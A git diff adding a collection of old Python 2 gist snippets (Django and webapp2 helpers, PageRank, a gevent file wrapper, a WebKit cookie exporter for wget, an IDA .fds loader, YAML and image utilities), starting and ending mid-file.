+    mysql_pid = mysql_pid[:-1]
+    workers[pid] = mysql_pid #子プロセスのmysqlセッションidを保存しておく
+    print workers[pid]
+  waitall()
+
+if __name__ == '__main__':
+  main()
diff --git a/hard-gists/290224/._snippet.py b/hard-gists/290224/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/290224/._snippet.py differ
diff --git a/hard-gists/290224/snippet.py b/hard-gists/290224/snippet.py
new file mode 100644
index 00000000..1dd3ba75
--- /dev/null
+++ b/hard-gists/290224/snippet.py
@@ -0,0 +1,34 @@
+from django.contrib.admin import widgets
+from django import forms
+from django.contrib import admin
+
+# create wrappers for overriding the queryset
+
+class ToWrapper(object):
+    def __init__(self, to, manager):
+        self.to = to
+        self._default_manager = manager
+
+    def __getattr__(self, name):
+        return getattr(self.to, name)
+
+class RelWrapper(object):
+    def __init__(self, rel, manager):
+        self.rel = rel
+        self.to = ToWrapper(rel.to, manager)
+
+    def __getattr__(self, name):
+        return getattr(self.rel, name)
+
+class FooForm(forms.ModelForm):
+    bar = forms.ModelChoiceField(queryset=Bar.all_objects,
+            label=_("Bar"),
+            widget=widgets.ForeignKeyRawIdWidget(
+                RelWrapper(Foo._meta.get_field('bar').rel,
+                    Bar.all_objects)))
+
+    class Meta:
+        model = Foo
+
+class FooAdmin(admin.ModelAdmin):
+    form = FooForm
\ No newline at end of file
diff --git a/hard-gists/2909661/._snippet.py b/hard-gists/2909661/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2909661/._snippet.py differ
diff --git a/hard-gists/2909661/snippet.py b/hard-gists/2909661/snippet.py
new file mode 100644
index 00000000..9e4af30d
--- /dev/null
+++ b/hard-gists/2909661/snippet.py
@@ -0,0 +1,24 @@
+import webapp2
+
+from webapp2_extras import local
+
+_local = local.Local()
+
+# The deferred handler instantiates webapp2.WSGIApplication in the module
+# globals, so when it is imported it ends resetting app globals.
+# To avoid this we duplicate the globals part of the WSGIApplication here,
+# knowing that only we will instantiate it.
+
+class WSGIApplication(webapp2.WSGIApplication):
+    def set_globals(self, app=None, request=None):
+        _local.app = app
+        _local.request = request
+
+    def clear_globals(self):
+        _local.__release_local__()
+
+def get_app():
+    return _local.app
+
+def get_request():
+    return _local.request
\ No newline at end of file
diff --git a/hard-gists/2913338/._snippet.py b/hard-gists/2913338/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2913338/._snippet.py differ
diff --git a/hard-gists/2913338/snippet.py b/hard-gists/2913338/snippet.py
new file mode 100644
index 00000000..db462157
--- /dev/null
+++ b/hard-gists/2913338/snippet.py
@@ -0,0 +1,23 @@
+from django.utils.decorators import method_decorator
+
+def class_decorator(decorator):
+    def inner(cls):
+        orig_dispatch = cls.dispatch
+        @method_decorator(decorator)
+        def new_dispatch(self, request, *args, **kwargs):
+            return orig_dispatch(self, request, *args, **kwargs)
+        cls.dispatch = new_dispatch
+        return cls
+    return inner
+
+
+# usage:
+# in views.py
+#
+#    from django.views.decorators.cache import cache_control
+#    from django.views.generic import View
+#    @class_decorator(cache_control(max_age=60))
+#    class MyView(View):
+#        filename = 'templatefile'
+#        def content(self, request):
+#            ...
\ No newline at end of file
diff --git a/hard-gists/2915436/._snippet.py b/hard-gists/2915436/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2915436/._snippet.py differ
diff --git a/hard-gists/2915436/snippet.py b/hard-gists/2915436/snippet.py
new file mode 100644
index 00000000..4c1312ed
--- /dev/null
+++ b/hard-gists/2915436/snippet.py
@@ -0,0 +1,76 @@
+import numpy as np
+from scipy.sparse import csc_matrix
+import random
+
+def column(matrix, i):
+    return [row[i] for row in matrix]
+
+def pageRank(G, s = 0.85, maxerr = .001):
+    """
+    Computes the pagerank for each of the n states.
+
+    Used in webpage ranking and text summarization using unweighted
+    or weighted transitions respectively.
+
+
+    Args
+    ----------
+    G: matrix representing state transitions
+       Gij can be a boolean or non negative real number representing the
+       transition weight from state i to j.
+
+    Kwargs
+    ----------
+    s: probability of following a transition. 1-s probability of teleporting
+       to another state. Defaults to 0.85
+
+    maxerr: if the sum of pageranks between iterations is bellow this we will
+            have converged. Defaults to 0.001
+    """
+    n = G.shape[0]
+
+    # transform G into markov matrix M
+    M = csc_matrix(G,dtype=np.float)
+    rsums = np.array(M.sum(1))[:,0]
+    ri, ci = M.nonzero()
+    M.data /= rsums[ri]
+
+    # bool array of sink states
+    sink = rsums==0
+
+    # Compute pagerank r until we converge
+    ro, r = np.zeros(n), np.ones(n)
+    while np.sum(np.abs(r-ro)) > maxerr:
+        ro = r.copy()
+        # calculate each pagerank at a time
+        for i in xrange(0,n):
+            # inlinks of state i
+            Ii = np.array(M[:,i].todense())[:,0]
+            # account for sink states
+            Si = sink / float(n)
+            # account for teleportation to state i
+            Ti = np.ones(n) / float(n)
+            # Weighted PageRank Equation
+    	    r[i] = ro.dot( Ii*s + Si*s + Ti*(1-s)*G[i] ) 
+	    #print r[i]
+	    #print i 
+
+    # return normalized pagerank
+    return r/sum(r)
+
+
+
+if __name__=='__main__':
+    # Example extracted from 'Introduction to Information Retrieval'
+	G = np.array([[1,1,0,0,0,0,0],
+                  [1,1,0,0,0,0,0],
+                  [0,0,1,0,0,0,0],
+                  [0,0,0,1,0,0,0],
+                  [0,0,0,0,1,0,0],
+                  [0,0,0,0,0,0,0],
+                  [0,0,0,0,0,1,1]])
+	
+
+
+	print pageRank(G,s = 1)
+	print G
\ No newline at end of file
diff --git a/hard-gists/2915875/._snippet.py b/hard-gists/2915875/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2915875/._snippet.py differ
diff --git a/hard-gists/2915875/snippet.py b/hard-gists/2915875/snippet.py
new file mode 100644
index 00000000..fc032903
--- /dev/null
+++ b/hard-gists/2915875/snippet.py
@@ -0,0 +1,38 @@
+import os
+import fcntl
+
+from gevent.core import wait_read, wait_write
+
+class GeventFD(object):
+    """ Wrap a file descriptor so it can be used for non-blocking reads and writes with gevent.
+        >>> stdin = GeventFD(sys.stdin.fileno())
+        >>> stdin.read(5)
+        'hello'
+        """
+    def __init__(self, fd):
+        self.fd = fd
+        fcntl.fcntl(self.fd, fcntl.F_SETFL, os.O_NONBLOCK)
+        self.w_pending = ""
+        self.r_pending = ""
+
+    def read(self, total_to_read):
+        remaining = total_to_read
+        result = ""
+        while remaining > 0:
+            result += self.r_pending[:remaining]
+            self.r_pending = self.r_pending[remaining:]
+            remaining = total_to_read - len(result)
+            if remaining <= 0:
+                break
+            wait_read(self.fd)
+            self.r_pending += os.read(self.fd, 4096)
+        assert len(result) == total_to_read, \
+                "len(%r) != %s" %(result, total_to_read)
+        return result
+
+    def write(self, data):
+        self.w_pending += data
+        while self.w_pending:
+            wait_write(self.fd)
+            written = os.write(self.fd, self.w_pending)
+            self.w_pending = self.w_pending[written:]
diff --git a/hard-gists/294151/._snippet.py b/hard-gists/294151/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/294151/._snippet.py differ
diff --git a/hard-gists/294151/snippet.py b/hard-gists/294151/snippet.py
new file mode 100644
index 00000000..ec5108b2
--- /dev/null
+++ b/hard-gists/294151/snippet.py
@@ -0,0 +1,47 @@
+#!/usr/bin/env python
+"""Outputs the WebKit cookies for a specified URL.
+Useful for wget'ing URLs which require authentication.
+
+$ python thisfile.py http://example.com > wgetcookies.txt
+$ wget --load-cookies wgetcookies.txt http://example.com/example.zip
+"""
+
+import objc
+from Foundation import NSHTTPCookieStorage, NSURL
+import sys
+import os
+from StringIO import StringIO
+ 
+FILE_HEADER = """# HTTP Cookie File 
+"""
+ 
+def get_cookiefile_for_url(url):
+    """
+    Returns WebKit cookies for the specified URL as a string.
+    Modified from http://zerokspot.com/weblog/2007/04/12/safari-cookies-to-netscape-cookie-format/
+    """
+    storage = NSHTTPCookieStorage.sharedHTTPCookieStorage()
+    u = NSURL.URLWithString_(url)
+    fd = StringIO()
+    try:
+        fd.write(FILE_HEADER)
+        for c in storage.cookiesForURL_(u):
+            line = "%s\t%s\t%s\t%s\t%s\t%s\t%s\n" % (
+                c.domain(),
+                'TRUE',
+                c.path(),
+                str(bool(c.isSecure())).upper(),
+                int(c.expiresDate().timeIntervalSince1970()),
+                c.name(),
+                c.value(),
+            )
+            fd.write(line)
+    finally:
+        fd.seek(0)
+        return fd.read()
+
+if len(sys.argv) != 2:
+    print "Usage: %s <url>" % sys.argv[0]
+    sys.exit(1)
+
+print get_cookiefile_for_url(sys.argv[1])
diff --git a/hard-gists/2942127/._snippet.py b/hard-gists/2942127/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2942127/._snippet.py differ
diff --git a/hard-gists/2942127/snippet.py b/hard-gists/2942127/snippet.py
new file mode 100644
index 00000000..29c414cd
--- /dev/null
+++ b/hard-gists/2942127/snippet.py
@@ -0,0 +1,270 @@
+# IDA .fds Loader
+
+# usage:
+# 1. Place into $IDA/loader/
+# 2. Open .fds file by IDA (select "Python FDS Loader")
+# 3. "import fds; fds.add()" and select additional file
+# Enjoy!
+
+# reference:
+# http://park19.wakwak.com/~fantasy/fds/
+
+import idaapi
+import struct
+
+class Struc:
+	def __init__(self, pairs):
+		"""
+		struc = Struc([["8s","name"],["B","id"],...])
+		"""
+		self.fmt = "".join(map(lambda e:e[0],pairs))
+		self.keys = map(lambda e:e[1],pairs)
+	def read(self, li):
+		"""
+		dict = struc.read(li)
+		"""
+		#print "reading fmt " + self.fmt
+		values = struct.unpack(self.fmt, li.read(struct.calcsize(self.fmt)))
+		self.dict = {}
+		for i in xrange(len(self.keys)):
+			self.dict[self.keys[i]] = values[i]
+		return self.dict
+
+class QuickDisk:
+	def __init__(self, li):
+		# IMPORTANT! seek to head!
+		li.seek(0)
+		# load files
+		signat = li.read(4)
+		if signat != "FDS\x1a":
+			print "WARNING: FDS without ident? (%s)" % signat
+		total_sides = struct.unpack("B", li.read(1))
+		li.read(0x10 - 4 - 1)
+
+		self.files = []
+		self.bootno = []
+
+		vlabel = None
+		filecnt = None
+		pblkcode = None
+		nowfilecnt = 0
+
+		# support both IDA-linput and Python-File
+		filesize = 0
+		try:
+			filesize = li.size()
+		except:
+			ptell = li.tell()
+			li.seek(0, 2) # TODO 2!? no SEEK_END!?
+			filesize = li.tell()
+			li.seek(ptell)
+
+		while True:
+			if filesize <= li.tell():
+				break
+			if filecnt != None and filecnt <= nowfilecnt:
+				# next side
+				li.seek(((li.tell() - 0x10 + (65500-1)) / 65500) * 65500 + 0x10)
+				nowfilecnt = 0
+				if filesize <= li.tell():
+					break
+			side = (li.tell() - 0x10) / 65500
+			if total_sides < side:
+				print "WARNING: unexpected tail data"
+				total_sides = side
+			blkcode = struct.unpack("B", li.read(1))[0]
+			if blkcode == 0:
+				# tail or gap??
+				pass
+			elif blkcode == 1:
+				# volume label
+				vlabel = Struc([
+					["14s", "chkcode"],
+					["B",   "maker"],
+					["4s",  "gamename"],
+					["B",   "gamever"],
+					["B",   "diskside"],
+					["B",   "diskno"],
+					["B",   "disktype"],
+					["B",   "unk1"],
+					["B",   "bootno"],
+					["5s",  "unk2"],
+					["3s",  "date"],
+					["B",   "unk3"],
+					["B",   "unk4"],
+					["H",   "writerid"], # TODO something goes wrong?
+					["B",   "unk5"],
+					["B",   "rewritecnt"],
+					["B",   "real_diskside"],
+					["B",   "unk6"],
+					["B",   "crc"],
+					["12s", "no_doced"],
+					]).read(li)
+				#print "vlabel>>>",vlabel
+				filecnt = None
+				self.bootno.append(vlabel["bootno"])
+			elif blkcode == 2:
+				# file count
+				filecnt = struct.unpack("B", li.read(1))[0]
+				#print "fcount>>>",filecnt
+			elif blkcode == 3:
+				# file header
+				header = Struc([
+					["B",  "seqno"],
+					["B",  "ldno"],
+					["8s", "name"],
+					["H",  "addr"],
+					["H",  "size"],
+					["B",  "target"],
+					]).read(li)
+				header["side"] = side
+				header["side_str"] = chr(ord("A") + side)
+				header["boot"] = (header["ldno"] <= vlabel["bootno"])
+				#print header
+				self.files.append(header)
+				# TODO check seqno sequence, check seqno < filecnt
+			elif blkcode == 4:
+				if pblkcode != 3:
+					print "WARNING: blkcode %X -> 4" % (pblkcode,)
+				# file data
+				file = self.files[-1]
+				file["offset"] = li.tell()
+				file["data"] = li.read(file["size"])
+				nowfilecnt += 1
+			else:
+				# tell-1 = &blkcode
+				print "offset %X blkcode %X?" % (li.tell() - 1, blkcode)
+			pblkcode = blkcode
+
+	#def files():
+	#	return self.files
+
+class FileSelector(idaapi.Choose2):
+	def __init__(self, li):
+		title = "Choose a file from FDS FileList"
+		cols = [
+			["Offset",    5 | idaapi.Choose2.CHCOL_HEX],
+			["Side",      2 | idaapi.Choose2.CHCOL_PLAIN],
+			["SeqNo",     2 | idaapi.Choose2.CHCOL_HEX],
+			["LoadNo",    2 | idaapi.Choose2.CHCOL_HEX],
+			["Filename", 10 | idaapi.Choose2.CHCOL_PLAIN],
+			["Addr",      4 | idaapi.Choose2.CHCOL_HEX],
+			["Size",      4 | idaapi.Choose2.CHCOL_HEX],
+			["Target",    2 | idaapi.Choose2.CHCOL_HEX],
+			]
+		idaapi.Choose2.__init__(self, title, cols)
+
+		files = QuickDisk(li).files
+		#files = filter(lambda x:x["target"] == 0, files)	# TODO filter: only texts?
+		self.files = files
+
+	def OnGetSize(self):
+		return len(self.files)
+	def OnGetLine(self, n):
+		file = self.files[n]
+		return [
+			hex(file["offset"]),
+			file["side_str"] + ("*" if file["boot"] else ""),
+			hex(file["seqno"]),
+			hex(file["ldno"]),
+			file["name"],
+			hex(file["addr"]),
+			hex(file["size"]),
+			hex(file["target"]),
+			]
+	def OnClose(self):
+		pass
+	def show(self):
+		i = self.Show(True)
+		if i == -1:
+			return None
+		else:
+			return self.files[i]
+
+def accept_file(li, n):
+	if n > 0:
+		return 0
+
+	if li.read(4) != "FDS\x1a":
+		return 0
+
+	return "Python FDS Loader"
+
+def make_io():
+	# TODO make name to io-port... and DISK-BIOS functions?
+	idaapi.add_segm(0, 0x0000, 0x0800, "RAM", "DATA")
+	idaapi.add_segm(0, 0x2000, 0x2008, "PPU", "DATA")
+	idaapi.add_segm(0, 0x4000, 0x4018, "CPU", "DATA")
+	idaapi.add_segm(0, 0x4022, 0x408B, "DISKIO", "DATA")
+	#idaapi.add_segm(0, 0x4100, 0x6000, "EXT", "DATA") # non-need?
+	#idaapi.add_segm(0, 0xE000, 0x10000, "BIOS", "UNK") # add BIOS image by yourself...
+
+def load_file(li, neflags, format):
+	if format != "Python FDS Loader":
+		return 0
+
+	# 6502 (2A03 is best)
+	idaapi.set_processor_type("M6502", SETPROC_ALL|SETPROC_FATAL)
+
+	# try to user to be choose?
+	#return add_li(li)
+
+	# or autoload boot-files?
+	# only see side-A.
+	qd = QuickDisk(li)
+	for file in filter(lambda f:f["target"] == 0 and f["ldno"] <= qd.bootno[0], qd.files):
+		load_li(li, file)
+
+	make_io()
+
+	return 1
+
+def make_offs_name(ea, name):
+	idaapi.set_name(ea, name)
+	idaapi.doWord(ea, 2)
+	idaapi.set_offset(ea, 0, 0)
+
+def load_li(li, file):
+	# file2base(li,pos,ea1,ea2,patchable) FILEREG_NOTPATCHABLE
+	# mem2base(mem,ea,fpos)
+	#idaapi.file2base(li, file["offset"], file["addr"], file["addr"]+file["size"], idaapi.FILEREG_NOTPATCHABLE)
+	#idaapi.mem2base(file["data"], file["addr"], file["addr"]+file["size"], file["offset"])
+
+	# TODO I want to make segment type "CODE" but IDA tries to analysis...
+	idaapi.add_segm(0, file["addr"], file["addr"]+file["size"], "%s%X" % (file["side_str"], file["seqno"]), "UNK")
+	idaapi.mem2base(file["data"], file["addr"], file["offset"])
+
+	# special-handling: vectors
+	if file["addr"] <= 0xDFFA and 0xDFFF <= file["addr"]+file["size"]:
+		make_offs_name(0xDFFA, "NMIVEC")
+		make_offs_name(0xDFFC, "RSTVEC")
+		make_offs_name(0xDFFE, "IRQVEC")
+
+def add_li(li):
+	"""
+	@hide
+	"""
+	file = FileSelector(li).show()
+	if file == None:
+		return 0
+
+	load_li(li, file)
+
+	return 1
+
+def add():
+	"""
+	user accessible API.
+	fds.add()
+	"""
+
+	f = None
+	try:
+		f = open(idaapi.get_input_file_path(), "rb")
+	except IOError:
+		print "fds: Can't open input file."
+		return 0
+	r = add_li(f)
+	f.close()
+
+	return r
diff --git a/hard-gists/2942374/._snippet.py b/hard-gists/2942374/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2942374/._snippet.py differ
diff --git a/hard-gists/2942374/snippet.py b/hard-gists/2942374/snippet.py
new file mode 100644
index 00000000..7f277bcc
--- /dev/null
+++ b/hard-gists/2942374/snippet.py
@@ -0,0 +1,198 @@
+# -*- coding: utf-8 -*-
+
+"""
+	A real simple app for using webapp2 with auth and session.
+
+	It just covers the basics. Creating a user, login, logout and a decorator for protecting certain handlers.
+
+	PRE-REQUIREMENTS:
+
+	Set at secret_key in webapp2 config:
+	webapp2_config = {}
+	webapp2_config['webapp2_extras.sessions'] = {
+		'secret_key': 'Im_an_alien',
+	}
+
+	You need to either set upp the following routes:
+
+	app = webapp2.WSGIApplication([
+		webapp2.Route(r'/login/', handler=LoginHandler, name='login'),
+		webapp2.Route(r'/logout/', handler=LogoutHandler, name='logout'),
+		webapp2.Route(r'/login/', handler=SecureRequestHandler, name='secure'),
+		webapp2.Route(r'/secure/', handler=CreateUserHandler, name='create-user'),
+
+	])
+
+    OR:
+
+    Change the urls in BaseHandler.auth_config to match LoginHandler/LogoutHandler
+    And also change the url in the post method of the LoginHandler to redirect to to a page requiring a user session
+"""
+
+import webapp2
+from webapp2_extras import auth
+from webapp2_extras import sessions
+from webapp2_extras.auth import InvalidAuthIdError
+from webapp2_extras.auth import InvalidPasswordError
+
+def user_required(handler):
+	"""
+		Decorator for checking if there's a user associated with the current session.
+		Will also fail if there's no session present.
+	"""
+	def check_login(self, *args, **kwargs):
+		auth = self.auth
+		if not auth.get_user_by_session():
+			# If handler has no login_url specified invoke a 403 error
+			try:
+				self.redirect(self.auth_config['login_url'], abort=True)
+			except (AttributeError, KeyError), e:
+				self.abort(403)
+		else:
+			return handler(self, *args, **kwargs)
+
+	return check_login
+
+class BaseHandler(webapp2.RequestHandler):
+	"""
+		BaseHandler for all requests
+
+		Holds the auth and session properties so they are reachable for all requests
+	"""
+	def dispatch(self):
+		"""
+			Save the sessions for preservation across requests
+		"""
+		try:
+			response = super(BaseHandler, self).dispatch()
+			self.response.write(response)
+		finally:
+			self.session_store.save_sessions(self.response)
+
+	@webapp2.cached_property
+	def auth(self):
+		return auth.get_auth()
+
+	@webapp2.cached_property
+	def session_store(self):
+		return sessions.get_store(request=self.request)
+
+	@webapp2.cached_property
+	def auth_config(self):
+		"""
+			Dict to hold urls for login/logout
+		"""
+		return {
+			'login_url': self.uri_for('login'),
+			'logout_url': self.uri_for('logout')
+		}
+
+
+class LoginHandler(BaseHandler):
+	def get(self):
+		"""
+			Returns a simple HTML form for login
+		"""
+		return """
+			<!DOCTYPE hml>
+			<html>
+				<head>
+					<title>webapp2 auth example</title>
+				</head>
+				<body>
+				<form action="%s" method="post">
+					<fieldset>
+						<legend>Login form</legend>
+						<label>Username <input type="text" name="username" placeholder="Your username" /></label>
+						<label>Password <input type="password" name="password" placeholder="Your password" /></label>
+					</fieldset>
+					<button>Login</button>
+				</form>
+			</html>
+		""" % self.request.url
+
+	def post(self):
+		"""
+			username: Get the username from POST dict
+			password: Get the password from POST dict
+		"""
+		username = self.request.POST.get('username')
+		password = self.request.POST.get('password')
+		# Try to login user with password
+		# Raises InvalidAuthIdError if user is not found
+		# Raises InvalidPasswordError if provided password doesn't match with specified user
+		try:
+			self.auth.get_user_by_password(username, password)
+			self.redirect('/secure')
+		except (InvalidAuthIdError, InvalidPasswordError), e:
+			# Returns error message to self.response.write in the BaseHandler.dispatcher
+			# Currently no message is attached to the exceptions
+			return e
+
+class CreateUserHandler(BaseHandler):
+	def get(self):
+		"""
+			Returns a simple HTML form for create a new user
+		"""
+		return """
+			<!DOCTYPE hml>
+			<html>
+				<head>
+					<title>webapp2 auth example</title>
+				</head>
+				<body>
+				<form action="%s" method="post">
+					<fieldset>
+						<legend>Create user form</legend>
+						<label>Username <input type="text" name="username" placeholder="Your username" /></label>
+						<label>Password <input type="password" name="password" placeholder="Your password" /></label>
+					</fieldset>
+					<button>Create user</button>
+				</form>
+			</html>
+		""" % self.request.url
+
+	def post(self):
+		"""
+			username: Get the username from POST dict
+			password: Get the password from POST dict
+		"""
+		username = self.request.POST.get('username')
+		password = self.request.POST.get('password')
+		# Passing password_raw=password so password will be hashed
+		# Returns a tuple, where first value is BOOL. If True ok, If False no new user is created
+		user = self.auth.store.user_model.create_user(username, password_raw=password)
+		if not user[0]: #user is a tuple
+			return user[1] # Error message
+		else:
+			# User is created, let's try redirecting to login page
+			try:
+				self.redirect(self.auth_config['login_url'], abort=True)
+			except (AttributeError, KeyError), e:
+				self.abort(403)
+
+
+class LogoutHandler(BaseHandler):
+	"""
+		Destroy user session and redirect to login
+	"""
+	def get(self):
+		self.auth.unset_session()
+		# User is logged out, let's try redirecting to login page
+		try:
+			self.redirect(self.auth_config['login_url'])
+		except (AttributeError, KeyError), e:
+			return "User is logged out"
+
+
+class SecureRequestHandler(BaseHandler):
+	"""
+		Only accessible to users that are logged in
+	"""
+	@user_required
+	def get(self, **kwargs):
+		a = self.app.config.get('foo')
+		try:
+			return "Secure zone %s <a href='%s'>Logout</a>" % (a, self.auth_config['logout_url'])
+		except (AttributeError, KeyError), e:
+			return "Secure zone"
\ No newline at end of file
diff --git a/hard-gists/2949632/._snippet.py b/hard-gists/2949632/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2949632/._snippet.py differ
diff --git a/hard-gists/2949632/snippet.py b/hard-gists/2949632/snippet.py
new file mode 100644
index 00000000..d0afd7fd
--- /dev/null
+++ b/hard-gists/2949632/snippet.py
@@ -0,0 +1,40 @@
+"""
+This generic view displays a list of objects and a simple ModelForm to add a new
+object to the list.
+Just subclass this view and override the attributes and methods that you need. You
+will probably need to override at least 'model', 'form_class' and 'success_url'.
+See the documentation of the used mixins and ProcessFormView in
+https://docs.djangoproject.com/en/1.4/ref/class-based-views/
+"""
+from django.views.generic.list import MultipleObjectMixin, MultipleObjectTemplateResponseMixin
+from django.views.generic.edit import ModelFormMixin, ProcessFormView
+
+class ListAppendView(MultipleObjectMixin,
+        MultipleObjectTemplateResponseMixin,
+        ModelFormMixin,
+        ProcessFormView):
+    """ A View that displays a list of objects and a form to create a new object.
+    The View processes this form. """
+    template_name_suffix = '_append'
+    allow_empty = True
+
+    def get(self, request, *args, **kwargs):
+        self.object_list = self.get_queryset()
+        allow_empty = self.get_allow_empty()
+        if not allow_empty and len(self.object_list) == 0:
+            raise Http404(_(u"Empty list and '%(class_name)s.allow_empty' is False.")
+                          % {'class_name': self.__class__.__name__})
+        self.object = None
+        form_class = self.get_form_class()
+        form = self.get_form(form_class)
+        context = self.get_context_data(object_list=self.object_list, form=form)
+        return self.render_to_response(context)
+
+    def post(self, request, *args, **kwargs):
+        self.object = None
+        return super(ListAppendView, self).post(request, *args, **kwargs)
+
+    def form_invalid(self, form):
+        self.object_list = self.get_queryset()
+        return self.render_to_response(self.get_context_data(object_list=self.object_list, form=form))
+
diff --git a/hard-gists/2951556/._snippet.py b/hard-gists/2951556/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2951556/._snippet.py differ
diff --git a/hard-gists/2951556/snippet.py b/hard-gists/2951556/snippet.py
new file mode 100644
index 00000000..8b8cd4e2
--- /dev/null
+++ b/hard-gists/2951556/snippet.py
@@ -0,0 +1,39 @@
+'''
+This is a quick reference example to get you started with yaml. Please review this,
+but spend the time to fully read the wikipedia page on yaml:
+http://en.wikipedia.org/wiki/Yaml
+
+Note that the magic quote-less yaml parsing will still always strip values.
+To avoid this you need to use quotes. Quotes can also force types to string type,
+and are always valid (meaning omitting quotes is for convenience not necessity).
+'''
+
+# You will need to first do a "sudo pip install pyyaml"
+import yaml
+
+sample_yaml_as_dict = '''
+first_dict_key: some value
+second_dict_key: some other value
+'''
+
+sample_yaml_as_list = '''
+# Notice here how i don't need quotes. Read the wikipedia page for more info!
+- list item 1
+- list item 2
+'''
+
+my_config_dict = yaml.load(sample_yaml_as_dict)
+print my_config_dict
+# Will print:
+# {'second_dict_key': 'some other value', 'first_dict_key': 'some value'}
+
+my_config_list = yaml.load(sample_yaml_as_list)
+print my_config_list
+# Will print:
+# ['list item 1', 'list item 2']
+
+# Load some external config file
+with open('~/my_config.yaml') as fp:
+    my_configuration = yaml.load(fp)
+
+print my_configuration_dict
\ No newline at end of file
diff --git a/hard-gists/2957026/._snippet.py b/hard-gists/2957026/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2957026/._snippet.py differ
diff --git a/hard-gists/2957026/snippet.py b/hard-gists/2957026/snippet.py
new file mode 100644
index 00000000..6cda1801
--- /dev/null
+++ b/hard-gists/2957026/snippet.py
@@ -0,0 +1,57 @@
+# -*- coding: utf-8 -*-
+
+import Image
+
+def resize_and_crop(img_path, modified_path, size, crop_type='top'):
+    """
+    Resize and crop an image to fit the specified size.
+
+    args:
+        img_path: path for the image to resize.
+        modified_path: path to store the modified image.
+        size: `(width, height)` tuple.
+        crop_type: can be 'top', 'middle' or 'bottom', depending on this
+            value, the image will cropped getting the 'top/left', 'midle' or
+            'bottom/rigth' of the image to fit the size.
+    raises:
+        Exception: if can not open the file in img_path of there is problems
+            to save the image.
+        ValueError: if an invalid `crop_type` is provided.
+    """
+    # If height is higher we resize vertically, if not we resize horizontally
+    img = Image.open(img_path)
+    # Get current and desired ratio for the images
+    img_ratio = img.size[0] / float(img.size[1])
+    ratio = size[0] / float(size[1])
+    #The image is scaled/cropped vertically or horizontally depending on the ratio
+    if ratio > img_ratio:
+        img = img.resize((size[0], size[0] * img.size[1] / img.size[0]),
+                Image.ANTIALIAS)
+        # Crop in the top, middle or bottom
+        if crop_type == 'top':
+            box = (0, 0, img.size[0], size[1])
+        elif crop_type == 'middle':
+            box = (0, (img.size[1] - size[1]) / 2, img.size[0], (img.size[1] + size[1]) / 2)
+        elif crop_type == 'bottom':
+            box = (0, img.size[1] - size[1], img.size[0], img.size[1])
+        else :
+            raise ValueError('ERROR: invalid value for crop_type')
+        img = img.crop(box)
+    elif ratio < img_ratio:
+        img = img.resize((size[1] * img.size[0] / img.size[1], size[1]),
+                Image.ANTIALIAS)
+        # Crop in the top, middle or bottom
+        if crop_type == 'top':
+            box = (0, 0, size[0], img.size[1])
+        elif crop_type == 'middle':
+            box = ((img.size[0] - size[0]) / 2, 0, (img.size[0] + size[0]) / 2, img.size[1])
+        elif crop_type == 'bottom':
+            box = (img.size[0] - size[0], 0, img.size[0], img.size[1])
+        else :
+            raise ValueError('ERROR: invalid value for crop_type')
+        img = img.crop(box)
+    else :
+        img = img.resize((size[0], size[1]),
+                Image.ANTIALIAS)
+        # If the scale is the same, we do not need to crop
+    img.save(modified_path)
diff --git a/hard-gists/296207/._snippet.py b/hard-gists/296207/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/296207/._snippet.py differ
diff --git a/hard-gists/296207/snippet.py b/hard-gists/296207/snippet.py
new file mode 100644
index 00000000..65d8395d
--- /dev/null
+++ b/hard-gists/296207/snippet.py
@@ -0,0 +1,9 @@
+#!/usr/bin/env python
+
+import urllib2
+import Image
+import cStringIO
+
+imgdata = urllib2.urlopen("http://www.google.co.jp/intl/ja_jp/images/logo.gif").read()
+img = Image.open(cStringIO.StringIO(imgdata))
+img.save("goog.png")
diff --git a/hard-gists/2962884/._snippet.py b/hard-gists/2962884/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2962884/._snippet.py differ
diff --git a/hard-gists/2962884/snippet.py b/hard-gists/2962884/snippet.py
new file mode 100644
index 00000000..8e3e6bfa
--- /dev/null
+++ b/hard-gists/2962884/snippet.py
@@ -0,0 +1,169 @@
+'''
+Copyright (C) 2012 Matthew Skolaut
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and 
+associated documentation files (the "Software"), to deal in the Software without restriction, 
+including without limitation the rights to use, copy, modify, merge, publish, distribute, 
+sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is 
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial
+portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
+LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+'''
+
+import smbus
+from time import *
+
+# General i2c device class so that other devices can be added easily
+class i2c_device:
+	def __init__(self, addr, port):
+		self.addr = addr
+		self.bus = smbus.SMBus(port)
+
+	def write(self, byte):
+		self.bus.write_byte(self.addr, byte)
+
+	def read(self):
+		return self.bus.read_byte(self.addr)
+
+	def read_nbytes_data(self, data, n): # For sequential reads > 1 byte
+		return self.bus.read_i2c_block_data(self.addr, data, n)
+
+
+class lcd:
